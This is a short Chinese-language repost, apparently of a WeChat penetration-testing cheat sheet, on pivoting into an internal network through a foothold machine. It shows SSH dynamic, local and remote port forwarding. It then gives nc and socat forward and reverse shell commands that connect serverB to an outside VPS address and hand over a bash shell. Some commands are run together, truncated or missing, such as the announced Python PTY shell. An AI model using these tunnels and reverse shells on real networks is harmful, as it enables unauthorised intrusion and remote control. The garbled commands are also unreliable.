转自:https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247484014&idx=1&sn=78fcbe24a3956ed1a0bf3fba594eb0d9&chksm=ec1e3246db69bb50949eef2218344c79ec94f2ec662729a924eb788a4a47747ba0dd3750c3dc&scene=21#wechat_redirect
利用ssh建立隧道
一、动态端口转发
ssh -D 用ssh做socks代理。假设你内网里某台机器可以上网,但是你不能上网,如果你有ssh到那台机器的权限,那么就可以利用ssh方式建立一个代理socks5,通过代理来上网。
ssh -D[本地IP或省略]:[本地端口][登陆服务器的用户名@服务器IP]-p[服务器ssh服务端口(默认22)]
本地执行命令:
ssh -D1080 [email protected]
效果:本地监听1080端口,我们可以使用具有socks端口功能的应用,可以通过代理:127.0.0.1:1080上网,如果非要在目标内网使用,
可以在server B上执行:
ssh -D 1080 [email protected]
这样我们就可以通过server B的1080端口访问办公网的资源。如果serverB的ssh可以访问,
可以在本地执行:
ssh -D1080 [email protected]
这样我们就可以通过本地127.0.0.1:1080访问目标内网资源。
二、本地端口转发
原理:将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。
在serverB上执行:
ssh -L7001:localhost:[email protected]
作用:serverB监听7001端口,并将7001端口的数据转发到vps的7070端口
三、远程端口转发
原理:将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。
在serverB上执行:
localhost: ssh -R 3306:localhost:7070 [email protected]
作用:将10.3.1.6的3306端口转发到serverB的7070端口,这样我们在访问serverB的7070端口时,其实访问到的是10.3.1.6的3306端口。
获取一个shell窗口
Python PTY shell
使用nc在vps上用监听4444端口:
nc -vv -l -p4444
在serverB上执行:
socat
正向shell
vps上执行监听1337端口:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
在serverB上执行:
socat FILE:`tty`,raw,echo=0TCP:106.22.50.48:1337
反向shell
vps上执行监听1337:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
在serverB上执行:
socatTCP4:106.22.50.48:1337EXEC:bash,pty,stderr,setsid,sigint,sane